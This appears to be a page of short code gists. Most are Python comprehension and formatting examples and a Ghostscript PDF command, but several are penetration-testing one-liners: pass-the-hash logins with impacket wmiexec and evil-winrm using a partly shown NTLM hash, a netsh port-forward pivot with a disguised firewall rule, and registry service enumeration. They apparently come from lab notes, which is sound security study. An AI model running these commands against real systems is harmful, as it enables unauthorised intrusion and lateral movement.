This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Double each value in a dictionary | |
| double_dict1 = {k:v*2 for (k,v) in dict1.items()} | |
| #If/else in dictionary comprehension | |
| dict1_tripleCond = {k:('even' if v%2==0 else 'odd') for (k,v) in dict1.items()} | |
| #Nested dict | |
| nested_dict = {'first':{'a':1}, 'second':{'b':2}} | |
| float_dict = {outer_k: {float(inner_v) for (inner_k, inner_v) in outer_v.items()} for (outer_k, outer_v) in nested_dict.items()} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Basic format | |
| [thing for thing in list of things] | |
| #Basic list comprehension with if statement | |
| fish_tuple = ('blowfish', 'clownfish', 'catfish', 'octopus') | |
| fish_list = [fish for fish in fish_tuple if fish != 'octopus'] | |
| #Nested if statements | |
| number_list = [x for x in range(100) if x % 3 == 0 if x % 5 == 0] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def validate(func, locals): | |
| for var, test in func.__annotations__.items(): | |
| value = locals[var] | |
| try: | |
| pr=test.__name__+': '+test.__docstring__ | |
| except AttributeError: | |
| pr=test.__name__ | |
| msg = '{}=={}; Test: {}'.format(var, value, pr) | |
| assert test(value), msg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Format with positional arguments | |
| print("{0} love {1}!!".format("GeeksforGeeks", "Geeks")) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=passport_compressed.pdf Passport.pdf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes e353da88f9c4331504f70d471f0f9cb1:REDACTED n.glover@10.10.120.1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| proxychains evil-winrm -u n.glover -H <redacted> -i 10.10.120.1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=x.x.x.x | |
| #Add Windows Firewall rule if necessary | |
| netsh advfirewall firewall add rule name="Totally Legit Rule" dir=in action=allow protocol=TCP localport=8080 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| reg query "HKLM\System\CurrentControlSet\Services\<serviceName>" /v "ImagePath" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| comm <(sort arp_cache.txt) <(sort test) -3 |